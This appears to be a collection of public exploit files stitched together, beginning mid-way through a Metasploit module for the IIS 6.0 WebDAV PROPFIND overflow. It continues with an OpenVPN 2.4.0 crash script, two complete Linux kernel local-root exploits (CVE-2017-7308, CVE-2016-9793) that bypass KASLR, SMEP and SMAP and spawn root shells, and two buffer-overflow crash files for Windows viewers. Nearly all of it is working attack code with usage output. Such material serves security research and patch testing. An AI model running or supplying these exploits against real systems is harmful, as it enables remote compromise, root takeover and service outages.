'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,
'DisableNops' => 'True',
'EncoderOptions' =>
{
'BufferRegister' => 'ESI',
}
},
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'PrependMigrate' => true,
},
'Targets' =>
[
[
'Microsoft Windows Server 2003 R2 SP2',
{
'Platform' => 'win',
},
],
],
'Platform' => 'win',
'DisclosureDate' => 'Mar 26 2017',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [ true, 'Path of IIS 6 web application', '/']),
OptInt.new('MINPATHLENGTH', [ true, 'Start of physical path brute force', 3 ]),
OptInt.new('MAXPATHLENGTH', [ true, 'End of physical path brute force', 60 ]),
])
end
def min_path_len
datastore['MINPATHLENGTH']
end
def max_path_len
datastore['MAXPATHLENGTH']
end
def supports_webdav?(headers)
if headers['MS-Author-Via'] == 'DAV' ||
headers['DASL'] == '<DAV:sql>' ||
headers['DAV'] =~ /^[1-9]+(,\s+[1-9]+)?$/ ||
headers['Public'] =~ /PROPFIND/ ||
headers['Allow'] =~ /PROPFIND/
return true
else
return false
end
end
def check
res = send_request_cgi({
'uri' => target_uri.path,
'method' => 'OPTIONS'
})
if res && res.headers['Server'].include?('IIS/6.0') && supports_webdav?(res.headers)
return Exploit::CheckCode::Vulnerable
elsif res && supports_webdav?(res.headers)
return Exploit::CheckCode::Detected
elsif res.nil?
return Exploit::CheckCode::Unknown
else
return Exploit::CheckCode::Safe
end
end
def exploit
# extract the local servername and port from a PROPFIND request
# these need to be the values from the backend server
# if testing a reverse proxy setup, these values differ
# from RHOST and RPORT but can be extracted this way
vprint_status("Extracting ServerName and Port")
res = send_request_raw(
'method' => 'PROPFIND',
'headers' => {
'Content-Length' => 0
},
'uri' => target_uri.path
)
fail_with(Failure::BadConfig, "Server did not respond correctly to WebDAV request") if(res.nil? || res.code != 207)
xml = res.get_xml_document
url = URI.parse(xml.at("//a:response//a:href").text)
server_name = url.hostname
server_port = url.port
server_scheme = url.scheme
http_host = "#{server_scheme}://#{server_name}:#{server_port}"
vprint_status("Using http_host #{http_host}")
min_path_len.upto(max_path_len) do |path_len|
vprint_status("Trying path length of #{path_len}...")
begin
buf1 = "<#{http_host}/"
buf1 << rand_text_alpha(114 - path_len)
buf1 << "\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac"
buf1 << ">"
buf1 << " (Not <locktoken:write1>) <#{http_host}/"
buf1 << rand_text_alpha(114 - path_len)
buf1 << "\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81"
buf1 << payload.encoded
buf1 << ">"
vprint_status("Sending payload")
res = send_request_raw(
'method' => 'PROPFIND',
'headers' => {
'Content-Length' => 0,
'If' => "#{buf1}"
},
'uri' => target_uri.path
)
if res
vprint_status("Server returned status #{res.code}")
if res.code == 502 || res.code == 400
next
elsif session_created?
return
else
vprint_status("Unknown Response: #{res.code}")
end
end
rescue ::Errno::ECONNRESET
vprint_status("got a connection reset")
next
end
end
end
end
#!/usr/bin/env python3
'''
$ ./dos_server.py &
$ sudo ./openvpn-2.4.0/src/openvpn/openvpn conf/server-tls.conf
...
Fri Feb 24 10:19:19 2017 192.168.149.1:64249 TLS: Initial packet from [AF_INET]192.168.149.1:64249, sid=9a6c48a6 1467f5e1
Fri Feb 24 10:19:19 2017 192.168.149.1:64249 Assertion failed at ssl.c:3711 (buf_copy(in, buf))
Fri Feb 24 10:19:19 2017 192.168.149.1:64249 Exiting due to fatal error
Fri Feb 24 10:19:19 2017 192.168.149.1:64249 /sbin/route del -net 10.8.0.0 netmask 255.255.255.0
Fri Feb 24 10:19:19 2017 192.168.149.1:64249 Closing TUN/TAP interface Fri Feb 24 10:19:19 2017 192.168.149.1:64249 /sbin/ifconfig tun0 0.0.0.0
'''
import binascii
import os
import socket
from construct import *
HOST, PORT = "192.168.0.1", 1194
SessionID = Bytes(8)
PControlV1 = Struct(
"packet_id" / Int32ub,
"data" / GreedyBytes
)
PAckV1 = Struct(
"remote_session_id" / SessionID
)
PControlHardResetClientV2 = Struct(
"packet_id" / Int32ub
)
PControlHardResetServerV2 = Struct(
"remote_session_id" / SessionID,
"packet_id" / Int32ub
)
OpenVPNPacket = Struct(
EmbeddedBitStruct(
"opcode" / Enum(BitsInteger(5),
P_CONTROL_HARD_RESET_CLIENT_V1=1,
P_CONTROL_HARD_RESET_SERVER_V1=2,
P_CONTROL_HARD_RESET_CLIENT_V2=7,
P_CONTROL_HARD_RESET_SERVER_V2=8,
P_CONTROL_SOFT_RESET_V1=3,
P_CONTROL_V1=4,
P_ACK_V1=5,
P_DATA_V1=6),
"key_id" / BitsInteger(3)
),
"session_id" / SessionID,
"ack_packets" / PrefixedArray(Int8ub, Int32ub),
Embedded(Switch(this.opcode,
{
"P_CONTROL_V1": PControlV1,
"P_ACK_V1": PAckV1,
"P_CONTROL_HARD_RESET_CLIENT_V2": PControlHardResetClientV2,
"P_CONTROL_HARD_RESET_SERVER_V2": PControlHardResetServerV2
}))
)
def main():
session_id = os.urandom(8)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
reset_client = OpenVPNPacket.build({
"opcode": "P_CONTROL_HARD_RESET_CLIENT_V2",
"key_id": 0,
"session_id": session_id,
"ack_packets": [],
"packet_id": 0})
sock.sendto(reset_client, (HOST, PORT))
data, addr = sock.recvfrom(8192)
reset_server = OpenVPNPacket.parse(data)
remote_session_id = reset_server.session_id
# ack server packet
ack_packet = OpenVPNPacket.build({
"opcode": "P_ACK_V1",
"key_id": 0,
"session_id": session_id,
"ack_packets": [reset_server.packet_id],
"remote_session_id": remote_session_id
})
sock.sendto(ack_packet, (HOST, PORT))
control_packet = OpenVPNPacket.build({
"opcode": "P_CONTROL_V1",
"key_id": 0,
"session_id": session_id,
"ack_packets": [],
"packet_id": 1,
"data": b"a" * 2048})
sock.sendto(control_packet, (HOST, PORT))
if __name__ == '__main__':
main()
// A proof-of-concept local root exploit for CVE-2017-7308.
// Includes a SMEP & SMAP bypass.
// Tested on 4.8.0-41-generic Ubuntu kernel.
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308
//
// Usage:
// user@ubuntu:~$ uname -a
// Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ...
// user@ubuntu:~$ gcc pwn.c -o pwn
// user@ubuntu:~$ ./pwn
// [.] starting
// [.] namespace sandbox set up
// [.] KASLR bypass enabled, getting kernel addr
// [.] done, kernel text: ffffffff87000000
// [.] commit_creds: ffffffff870a5cf0
// [.] prepare_kernel_cred: ffffffff870a60e0
// [.] native_write_cr4: ffffffff87064210
// [.] padding heap
// [.] done, heap is padded
// [.] SMEP & SMAP bypass enabled, turning them off
// [.] done, SMEP & SMAP should be off now
// [.] executing get root payload 0x401516
// [.] done, should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// root@ubuntu:/home/user# cat /etc/shadow
// root:!:17246:0:99999:7:::
// daemon:*:17212:0:99999:7:::
// bin:*:17212:0:99999:7:::
// ...
//
// Andrey Konovalov <andreyknvl@gmail.com>
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <netinet/if_ether.h>
#include <net/if.h>
#define ENABLE_KASLR_BYPASS 1
#define ENABLE_SMEP_SMAP_BYPASS 1
// Will be overwritten if ENABLE_KASLR_BYPASS
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
// Kernel symbol offsets
#define COMMIT_CREDS 0xa5cf0ul
#define PREPARE_KERNEL_CRED 0xa60e0ul
#define NATIVE_WRITE_CR4 0x64210ul
// Should have SMEP and SMAP bits disabled
#define CR4_DESIRED_VALUE 0x407f0ul
#define KMALLOC_PAD 512
#define PAGEALLOC_PAD 1024
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
typedef uint32_t u32;
// $ pahole -C hlist_node ./vmlinux
struct hlist_node {
struct hlist_node * next; /* 0 8 */
struct hlist_node * * pprev; /* 8 8 */
};
// $ pahole -C timer_list ./vmlinux
struct timer_list {
struct hlist_node entry; /* 0 16 */
long unsigned int expires; /* 16 8 */
void (*function)(long unsigned int); /* 24 8 */
long unsigned int data; /* 32 8 */
u32 flags; /* 40 4 */
int start_pid; /* 44 4 */
void * start_site; /* 48 8 */
char start_comm[16]; /* 56 16 */
};
// packet_sock->rx_ring->prb_bdqc->retire_blk_timer
#define TIMER_OFFSET 896
// pakcet_sock->xmit
#define XMIT_OFFSET 1304
// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *
void packet_socket_rx_ring_init(int s, unsigned int block_size,
unsigned int frame_size, unsigned int block_nr,
unsigned int sizeof_priv, unsigned int timeout) {
int v = TPACKET_V3;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0) {
perror("[-] setsockopt(PACKET_VERSION)");
exit(EXIT_FAILURE);
}
struct tpacket_req3 req;
memset(&req, 0, sizeof(req));
req.tp_block_size = block_size;
req.tp_frame_size = frame_size;
req.tp_block_nr = block_nr;
req.tp_frame_nr = (block_size * block_nr) / frame_size;
req.tp_retire_blk_tov = timeout;
req.tp_sizeof_priv = sizeof_priv;
req.tp_feature_req_word = 0;
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (rv < 0) {
perror("[-] setsockopt(PACKET_RX_RING)");
exit(EXIT_FAILURE);
}
}
int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) {
perror("[-] socket(AF_PACKET)");
exit(EXIT_FAILURE);
}
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
sizeof_priv, timeout);
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;
int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0) {
perror("[-] bind(AF_PACKET)");
exit(EXIT_FAILURE);
}
return s;
}
void packet_socket_send(int s, char *buffer, int size) {
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_halen = ETH_ALEN;
if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
sizeof(sa)) < 0) {
perror("[-] sendto(SOCK_RAW)");
exit(EXIT_FAILURE);
}
}
void loopback_send(char *buffer, int size) {
int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (s == -1) {
perror("[-] socket(SOCK_RAW)");
exit(EXIT_FAILURE);
}
packet_socket_send(s, buffer, size);
}
int packet_sock_kmalloc() {
int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
if (s == -1) {
perror("[-] socket(SOCK_DGRAM)");
exit(EXIT_FAILURE);
}
return s;
}
void packet_sock_timer_schedule(int s, int timeout) {
packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
}
void packet_sock_id_match_trigger(int s) {
char buffer[16];
packet_socket_send(s, &buffer[0], sizeof(buffer));
}
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
#define ALIGN(x, a) __ALIGN_KERNEL((x), (a))
#define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
#define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask))
#define V3_ALIGNMENT (8)
#define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT))
#define ETH_HDR_LEN sizeof(struct ethhdr)
#define IP_HDR_LEN sizeof(struct iphdr)
#define UDP_HDR_LEN sizeof(struct udphdr)
#define UDP_HDR_LEN_FULL (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)
int oob_setup(int offset) {
unsigned int maclen = ETH_HDR_LEN;
unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
(maclen < 16 ? 16 : maclen));
unsigned int macoff = netoff - maclen;
unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
0x8000 - BLK_HDR_LEN - macoff + offset;
return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
}
void oob_write(char *buffer, int size) {
loopback_send(buffer, size);
}
void oob_timer_execute(void *func, unsigned long arg) {
oob_setup(2048 + TIMER_OFFSET - 8);
int i;
for (i = 0; i < 32; i++) {
int timer = packet_sock_kmalloc();
packet_sock_timer_schedule(timer, 1000);
}
char buffer[2048];
memset(&buffer[0], 0, sizeof(buffer));
struct timer_list *timer = (struct timer_list *)&buffer[8];
timer->function = func;
timer->data = arg;
timer->flags = 1;
oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);
sleep(1);
}
void oob_id_match_execute(void *func) {
int s = oob_setup(2048 + XMIT_OFFSET - 64);
int ps[32];
int i;
for (i = 0; i < 32; i++)
ps[i] = packet_sock_kmalloc();
char buffer[2048];
memset(&buffer[0], 0, 2048);
void **xmit = (void **)&buffer[64];
*xmit = func;
oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);
for (i = 0; i < 32; i++)
packet_sock_id_match_trigger(ps[i]);
}
// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *
void kmalloc_pad(int count) {
int i;
for (i = 0; i < count; i++)
packet_sock_kmalloc();
}
void pagealloc_pad(int count) {
packet_socket_setup(0x8000, 2048, count, 0, 100);
}
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
void get_root_payload(void) {
((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))(
((_prepare_kernel_cred)(KERNEL_BASE + PREPARE_KERNEL_CRED))(0)
);
}
// * * * * * * * * * * * * * Simple KASLR bypass * * * * * * * * * * * * * * *
#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10
unsigned long get_kernel_addr() {
int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
if (size == -1) {
perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)");
exit(EXIT_FAILURE);
}
size = (size / getpagesize() + 1) * getpagesize();
char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size);
if (size == -1) {
perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)");
exit(EXIT_FAILURE);
}
const char *needle1 = "Freeing SMP";
char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) {
fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle1);
exit(EXIT_FAILURE);
}
for (size = 0; substr[size] != '\n'; size++);
const char *needle2 = "ffff";
substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2));
if (substr == NULL) {
fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle2);
exit(EXIT_FAILURE);
}
char *endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
r &= 0xfffffffffff00000ul;
r -= 0x1000000ul;
return r;
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
void exec_shell() {
char *shell = "/bin/bash";
char *args[] = {shell, "-i", NULL};
execve(shell, args, NULL);
}
void fork_shell() {
pid_t rv;
rv = fork();
if (rv == -1) {
perror("[-] fork()");
exit(EXIT_FAILURE);
}
if (rv == 0) {
exec_shell();
}
}
bool is_root() {
// We can't simple check uid, since we're running inside a namespace
// with uid set to 0. Try opening /etc/shadow instead.
int fd = open("/etc/shadow", O_RDONLY);
if (fd == -1)
return false;
close(fd);
return true;
}
void check_root() {
printf("[.] checking if we got root\n");
if (!is_root()) {
printf("[-] something went wrong =(\n");
return;
}
printf("[+] got r00t ^_^\n");
// Fork and exec instead of just doing the exec to avoid potential
// memory corruptions when closing packet sockets.
fork_shell();
}
bool write_file(const char* file, const char* what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
close(fd);
return false;
}
close(fd);
return true;
}
void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();
if (unshare(CLONE_NEWUSER) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/setgroups", "deny")) {
perror("[-] write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
perror("[-] write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
perror("[-] write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
perror("[-] sched_setaffinity()");
exit(EXIT_FAILURE);
}
if (system("/sbin/ifconfig lo up") != 0) {
perror("[-] system(/sbin/ifconfig lo up)");
exit(EXIT_FAILURE);
}
}
int main() {
printf("[.] starting\n");
setup_sandbox();
printf("[.] namespace sandbox set up\n");
#if ENABLE_KASLR_BYPASS
printf("[.] KASLR bypass enabled, getting kernel addr\n");
KERNEL_BASE = get_kernel_addr();
printf("[.] done, kernel text: %lx\n", KERNEL_BASE);
#endif
printf("[.] commit_creds: %lx\n", KERNEL_BASE + COMMIT_CREDS);
printf("[.] prepare_kernel_cred: %lx\n", KERNEL_BASE + PREPARE_KERNEL_CRED);
#if ENABLE_SMEP_SMAP_BYPASS
printf("[.] native_write_cr4: %lx\n", KERNEL_BASE + NATIVE_WRITE_CR4);
#endif
printf("[.] padding heap\n");
kmalloc_pad(KMALLOC_PAD);
pagealloc_pad(PAGEALLOC_PAD);
printf("[.] done, heap is padded\n");
#if ENABLE_SMEP_SMAP_BYPASS
printf("[.] SMEP & SMAP bypass enabled, turning them off\n");
oob_timer_execute((void *)(KERNEL_BASE + NATIVE_WRITE_CR4), CR4_DESIRED_VALUE);
printf("[.] done, SMEP & SMAP should be off now\n");
#endif
printf("[.] executing get root payload %p\n", &get_root_payload);
oob_id_match_execute((void *)&get_root_payload);
printf("[.] done, should be root now\n");
check_root();
while (1) sleep(1000);
return 0;
}
// CAP_NET_ADMIN -> root LPE exploit for CVE-2016-9793
// No KASLR, SMEP or SMAP bypass included
// Affected kernels: 3.11 -> 4.8
// Tested in QEMU only
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793
//
// Usage:
// # gcc -pthread exploit.c -o exploit
// # chown guest:guest exploit
// # setcap cap_net_admin+ep ./exploit
// # su guest
// $ whoami
// guest
// $ ./exploit
// [.] userspace payload mmapped at 0xfffff000
// [.] overwriting thread started
// [.] sockets opened
// [.] sock->sk_sndbuf set to fffffe00
// [.] writing to socket
// [+] got r00t
// # whoami
// root
//
// Andrey Konovalov <andreyknvl@gmail.com>
#define _GNU_SOURCE
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define COMMIT_CREDS 0xffffffff81079860ul
#define PREPARE_KERNEL_CRED 0xffffffff81079b20ul
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
void get_root(void) {
commit_creds(prepare_kernel_cred(0));
}
struct ubuf_info_t {
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
uint64_t ctx; // void *
uint64_t desc; // unsigned long
};
struct skb_shared_info_t {
uint8_t nr_frags; // unsigned char
uint8_t tx_flags; // __u8
uint16_t gso_size; // unsigned short
uint16_t gso_segs; // unsigned short
uint16_t gso_type; // unsigned short
uint64_t frag_list; // struct sk_buff *
uint64_t hwtstamps; // struct skb_shared_hwtstamps
uint32_t tskey; // u32
uint32_t ip6_frag_id; // __be32
uint32_t dataref; // atomic_t
uint64_t destructor_arg; // void *
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
};
// sk_sndbuf = 0xffffff00 => skb_shinfo(skb) = 0x00000000fffffed0
#define SNDBUF 0xffffff00
#define SHINFO 0x00000000fffffed0ul
struct ubuf_info_t ubuf_info = {(uint64_t)&get_root, 0, 0};
//struct ubuf_info_t ubuf_info = {0xffffdeaddeadbeeful, 0, 0};
struct skb_shared_info_t *skb_shared_info = (struct skb_shared_info_t *)SHINFO;
#define SKBTX_DEV_ZEROCOPY (1 << 3)
void* skb_thr(void* arg) {
while (1) {
skb_shared_info->destructor_arg = (uint64_t)&ubuf_info;
skb_shared_info->tx_flags |= SKBTX_DEV_ZEROCOPY;
}
}
int sockets[2];
void *write_thr(void *arg) {
// Write blocks until setsockopt(SO_SNDBUF).
write(sockets[1], "\x5c", 1);
if (getuid() == 0) {
printf("[+] got r00t\n");
execl("/bin/bash", "bash", NULL);
perror("execl()");
}
printf("[-] something went wrong\n");
}
int main() {
void *addr;
int rv;
uint32_t sndbuf;
addr = mmap((void *)(SHINFO & 0xfffffffffffff000ul), 0x1000ul,
PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE,
-1, 0);
if (addr != (void *)(SHINFO & 0xfffffffffffff000ul)) {
perror("mmap()");
exit(EXIT_FAILURE);
}
printf("[.] userspace payload mmapped at %p\n", addr);
pthread_t skb_th;
rv = pthread_create(&skb_th, 0, skb_thr, NULL);
if (rv != 0) {
perror("pthread_create()");
exit(EXIT_FAILURE);
}
usleep(10000);
printf("[.] overwriting thread started\n");
rv = socketpair(AF_LOCAL, SOCK_STREAM, 0, &sockets[0]);
if (rv != 0) {
perror("socketpair()");
exit(EXIT_FAILURE);
}
printf("[.] sockets opened\n");
sndbuf = SNDBUF;
rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUFFORCE,
&sndbuf, sizeof(sndbuf));
if (rv != 0) {
perror("setsockopt()");
exit(EXIT_FAILURE);
}
printf("[.] sock->sk_sndbuf set to %x\n", SNDBUF * 2);
pthread_t write_th;
rv = pthread_create(&write_th, 0, write_thr, NULL);
if (rv != 0) {
perror("pthread_create()");
exit(EXIT_FAILURE);
}
usleep(10000);
printf("[.] writing to socket\n");
// Wake up blocked write.
rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUF,
&sndbuf, sizeof(sndbuf));
if (rv != 0) {
perror("setsockopt()");
exit(EXIT_FAILURE);
}
usleep(10000);
close(sockets[0]);
close(sockets[1]);
return 0;
}
#!/usr/bin/python
# Exploit Title : Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH)
# Date : 14/05/2017
# Exploit Author : Muhann4d
# CVE : CVE-2017-8927
# Vendor Homepage : http://www.cgmlarson.com/
# Software Link : http://download.freedownloadmanager.org/Windows-PC/Larson-VizEx-Reader/FREE-9.7.5.html
# Affected Versions : 9.7.5
# Category : Denial of Service (DoS) Local
# Tested on OS : Windows 7 Professional SP1 32bit
# Proof of Concept : run the exploit, open the poc.tif file with Larson VizEx Reader 9.7.5
# Vendor has been cantacted but no reply
buf = "\x41" * 800
buff = "\x42" * 4
bufff = "\x43" * 4
buffff = "\x44" * 9999
f = open ("poc.tif", "w")
f.write(buf + buff + bufff + buffff)
f.close()
#!/usr/bin/python
# Exploit Title : Halliburton LogView Pro 10.0.1 - Local Buffer Overflow (SEH)
# Date : 2017-05-14
# Exploit Author : Muhann4d
# CVE : CVE-2017-8926
# Vendor Homepage : http://www.halliburton.com
# Software Link : http://www.halliburton.com/public/lp/contents/Interactive_Tools/web/Toolkits/lp/Halliburton_Log_Viewer.exe
# Affected Versions : 10.0.1
# Category : Denial of Service (DoS) Local
# Tested on OS : Windows 7 Professional SP1 32bit
# Proof of Concept : run the exploit, open the poc.tif file with the Halliburton LogView Pro 10.0.1
# Vendor has been cantacted but no reply.
buf = "\x41" * 848
buff = "\x42" * 4
bufff = "\x43" * 4
buffff = "\x44" * 9999
f = open ("poc.tif", "w")
f.write(buf + buff + bufff + buffff)
f.close()